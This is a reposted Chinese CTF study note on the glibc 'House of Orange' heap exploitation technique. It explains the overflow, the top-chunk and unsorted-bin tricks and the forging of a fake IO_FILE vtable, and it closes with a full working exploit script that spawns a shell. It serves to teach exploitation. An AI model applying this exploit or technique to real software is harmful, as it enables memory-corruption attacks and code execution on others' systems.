日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 >

堆溢出-House of orange 学习笔记(看雪论坛)

發布時間:2023/12/20 43 豆豆
生活随笔 收集整理的這篇文章主要介紹了 堆溢出-House of orange 学习笔记(看雪论坛) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

https://www.jianshu.com/p/4b0a73f321f9

前幾天把House of orange重新學習了一下,比照著glibc

malloc的源碼好好分析了一下,希望做到真正做到知其然亦知其所以然,其中所做的筆記如下,可能描述上有點亂,大家將就著看一下吧。同時,我也發在了我個人博客上面 (http://blog.leanote.com/simp1e), 如果有錯誤的地方,請各位大牛多多指正。

0x00 程序描述

大名鼎鼎的house_of_orange程序邏輯還比較清晰的,一共可以build四次,然后每次build的話就是3次堆分配,兩次malloc,一次calloc,其中一次malloc是固定分配0x10字節作為控制堆塊,里面存放著name和color的信息,另外按輸入分配name的大小。

0x01 程序漏洞

1. 堆溢出

在upgrade函數中,修改name時候不顧實際chunk的堆大小是多少,直接進行編輯,最大可編輯0x1000大小,因而存在溢出。

0x02 漏洞利用

這里的利用思路是4ngelboy給出,下面就直接分析這樣利用的原因。

1. 信息泄露 (泄露libc地址)

因為程序中有堆的越界寫,可以修改top_chunk的大小。在malloc源碼里面如果申請的堆塊大小超過了top_chunk的大小,將調用sysmalloc來進行分配。sysmalloc里面針對這種情況有兩種處理,一種是直接mmap出來一塊內存,另一種是擴展top_chunk

/*

If have mmap, and the request size meets the mmap threshold, and

the system supports mmap, and there are few enough currently

allocated mmapped regions, try to directly map this request

rather than expanding top.

*/

if ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) &&

(mp_.n_mmaps < mp_.n_mmaps_max))

{

char *mm;? ? ? ? ? /* return value from mmap call*/

try_mmap:

就是如果申請大小>=mp_.mmap_threshold,就會mmap。我們質只要申請不要過大,一般不會觸發這個,這個mmap_threshold的值為128*1024。

不過下面還有兩個assert需要檢查,如下

old_top = av->top;

old_size = chunksize (old_top);

old_end = (char *) (chunk_at_offset (old_top, old_size));

brk = snd_brk = (char *) (MORECORE_FAILURE);

/*

If not the first time through, we require old_size to be

at least MINSIZE and to have prev_inuse set.

*/

assert ((old_top == initial_top (av) && old_size == 0) ||

((unsigned long) (old_size) >= MINSIZE &&

prev_inuse (old_top) &&

((unsigned long) old_end & pagemask) == 0));

/* Precondition: not enough current space to satisfy nb request */

assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

第一個assert就是要求修改后的top_chunk_size必須滿足

top_chunk_size>MINSIZE(MINISIZE)沒有查到是多少,反正不要太小都行

top_chunk需要有pre_in_use的標志,就是最后一個比特為1

還有就是(old_end &pagemask ==0)#define chunk_at_offset(p, s)? ((mchunkptr) (((char *) (p)) + (s)))這里沒有太深究,應該就是top_chunk需要和原來的堆頁在一個頁上吧。

第二個assert就是要求

top_chunk_size小于申請分配的內存即可

滿足以上四個條件之后,繼續往下執行最后把原先的那個old_top給釋放掉了,如下

top (av) = chunk_at_offset (heap, sizeof (*heap));

set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE);

/* Setup fencepost and free the old top chunk with a multiple of

MALLOC_ALIGNMENT in size. */

/* The fencepost takes at least MINSIZE bytes, because it might

become the top chunk again later.? Note that a footer is set

up, too, although the chunk is marked in use. */

old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;

set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ), 0 | PREV_INUSE);

if (old_size >= MINSIZE)

{

set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);

set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));

set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);

_int_free (av, old_top, 1);

顯然,這樣的free操作的話,我們就可以得到一個unsort_bin,然后之后再次分配時候如果是符合unsort_bin大小的話,就會從unsort_bin里面切出來。

這樣的話我們再次申請一個堆塊分配到這塊區域中就能泄露libc地址了,但是這里又有一個trick,如果我們分配的大小是large_chunk的話。malloc源碼中還把old_top的堆地址放到了堆里面(沒有細究原因,但是好像是large bin沒有區分大小,需要有個字段來保存大小的原因吧),源碼如下

所以如果再次分配時候如果分配大小為largebin(也就是大于512字節)的chunk的話,就是可以既泄露libc又可以泄露heap。如下

而如果分配大小不到512字節時候是無法泄露堆地址的。

2. 劫持流程

File Stream Oriented Programming

我們知道有rop即retn Oriented Programming,那么其實File Stream Oriented Programming是一個道理的。也是一種劫持程序流程的方法,只不過方式是通過攻擊File Stream來實現罷了。

我們先要了解malloc對錯誤信息的處理過程,malloc_printerr是malloc中用來打印錯誤的函數。

malloc_printerr其實是調用__libc_message函數之后調用abort函數,abort函數其中調用了_IO_flush_all_lockp,這里面用到IO_FILE_ALL里面的結構,采用的是虛表調用的方式。

其中使用到了IO_FILE對象中的虛表,如果我們能夠修改IO_FILE的內容那么就可以一定程度上劫持流程。IO_FILE_ALL是一個指向IO_FILE_plus的結構指針,結構如下圖所示,具體結構不需要太了解清晰,大概懂一些也就行。

那么怎么劫持呢,這里又需要用到unsortbin attack的知識。unsortbin attack是怎么一回事呢,其實就是在malloc的過程中,unsortbin會從鏈表上卸下來(只要分配的大小不是fastchunk大小)

如上代碼所示,就是會把bk+0x10的地方寫入本unsort_bin的地址,

我們通過內存斷點來觀察一下是如何進行的。

斷點觸發之后,發現io_file_all被修改成了指向top_chunk的指針時間地址位于main_arena。

但是我們是無法控制main_arena的內容的,至少全部控制是不行的,那么怎么處理呢?

這里還是要牽扯到io_file的使用,IO_FILE結構中有一個字段是chian字段,它位于0x60偏移處,他指向的是下一個IO_FILE結構體,我們如果可以控制這個字段,就再次指定io_file的位置,它相當于是一個鏈表的結構

這樣的話又聯系到smallchunk的問題,在拆卸unsort_bin時候對屬于small_bin的chunk進行了記錄操作。

這個時候IO_FILE_all指向的正是main_arena的bins里面unsortbin的位置,那么偏移0x60處正好是,smallchunk的index為6的地方,也就是滿足大小為16*6的chunk,所以upgrade時候需要把unsortbin設置為0x60大小。

while (fp != NULL)

{

fp = fp->_chain;

...

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)

#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T

|| (_IO_vtable_offset (fp) == 0

&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr

> fp->_wide_data->_IO_write_base))

#endif

)

&& _IO_OVERFLOW (fp, EOF) == EOF)

因為第一個分配在main_arena的IO_FILE_plus結構的fp->mode等值不符合要求,就會通過chains跳轉到就下一個IO_FILE_plus就是我們之前設置的unsortbin,然后需要滿足一下條件

fp->mode>0

_IO_vtable_offset (fp) ==0

fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

這里的話我就是把wide_data的IO_wirte_ptr就指向read_end就可以,然后就會調用虛表+0x18偏移處的函數了。

0xFE 利用exp

#coding:utf-8

from zio import *

from pwn import *

import mypwn

def menu(io,choice):

io.read_until('Your choice :')

io.writeline(str(choice))

def build(io,len,name,price,color):

menu(io,1)

io.read_until('name :')

io.writeline(str(len))

io.read_until('Name :')

io.write(name)

io.read_until('Price of Orange:')

io.writeline(str(price))

io.read_until(' Orange:')

io.writeline(str(color))

def see(io):

menu(io,2)

def upgrade(io,nlen,nname,nprice,ncolor):

menu(io,3)

io.read_until('name :')

io.writeline(str(nlen))

io.read_until('Name:')

io.write(nname)

io.read_until('Price of Orange:')

io.writeline(str(nprice))

io.read_until(' Orange:')

io.writeline(str(ncolor))

if __name__ == '__main__':

binary_path = "./houseoforange"

r_m = COLORED(RAW, "green")

w_m = COLORED(RAW, "blue")

target = binary_path

bin=ELF(binary_path)

io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)

if target==binary_path:

l=ELF("/lib/x86_64-linux-gnu/libc.so.6")

offset_main_arena=l.symbols['__malloc_hook']+0x20

else:

pass

#l=ELF("")

#offset_main_arena

build(io,0x80,'simp1e',0x1234,0xddaa)

fake_color=p32(666)+p32(0xddaa)

overflow_name='a'*0x90+fake_color+p64(0)*2+p64(0xf31)

upgrade(io,0xb1,overflow_name,666,0xddaa)

build(io,0x1000,'1'+'\n',0x1234,0xddaa)

build(io,0x400,"a"*8,199,2)

see(io)

io.read_until('Name of house : '+'a'*8)

data=io.read_until('\n')[:-1]

io.gdb_hint()

heap_ptr=mypwn.uu64(data)

real_main_arena=heap_ptr-0x668

mypwn.log('heap_ptr',heap_ptr)

mypwn.log('real_main_arena',real_main_arena)

libc_base=real_main_arena-offset_main_arena

real_system=libc_base+l.symbols['system']

upgrade(io,0x400,"b"*0x10,666,2)

see(io)

io.read_until('Name of house : '+'b'*0x10)

data=io.read_until('\n')[:-1]

heap_ptr=mypwn.uu64(data)

mypwn.log('heap_ptr',heap_ptr)

mypwn.log('_IO_list_all',l.symbols['_IO_list_all'])

io_list_all=libc_base+l.symbols['_IO_list_all']

vtable_addr=heap_ptr + 0x530-8

payload="x"*0x400+p64(0)+p64(0x21)+p32(666)+p32(0xddaa)+p64(0)

fake_chunk='/bin/sh\x00'+p64(0x61)#why ? io_file?

fake_chunk+=p64(0xddaa)+p64(io_list_all-0x10)

fake_chunk=fake_chunk.ljust(0xa0,'\x00')

fake_chunk+=p64(heap_ptr+0x420)

fake_chunk=fake_chunk.ljust(0xc0,'\x00')

fake_chunk+=p64(1)

payload+=fake_chunk

payload += p64(0)

payload += p64(0)

payload += p64(vtable_addr)

payload += p64(1)

payload += p64(2)

payload += p64(3)

payload += p64(0)*3 # vtable

payload += p64(real_system)

upgrade(io,0x800,payload,666,2)

io.interact()

0xff 參考資料

http://4ngelboy.blogspot.ca/2016/10/hitcon-ctf-qual-2016-house-of-orange.html

http://www.cnblogs.com/shangye/p/6268981.html

https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/

本文由看雪論壇 simSimple原創 轉載請注明來自看雪社區

1人點贊

看雪

作者:看雪學院
鏈接:https://www.jianshu.com/p/4b0a73f321f9
來源:簡書
著作權歸作者所有。商業轉載請聯系作者獲得授權,非商業轉載請注明出處。

總結

以上是生活随笔為你收集整理的堆溢出-House of orange 学习笔记(看雪论坛)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。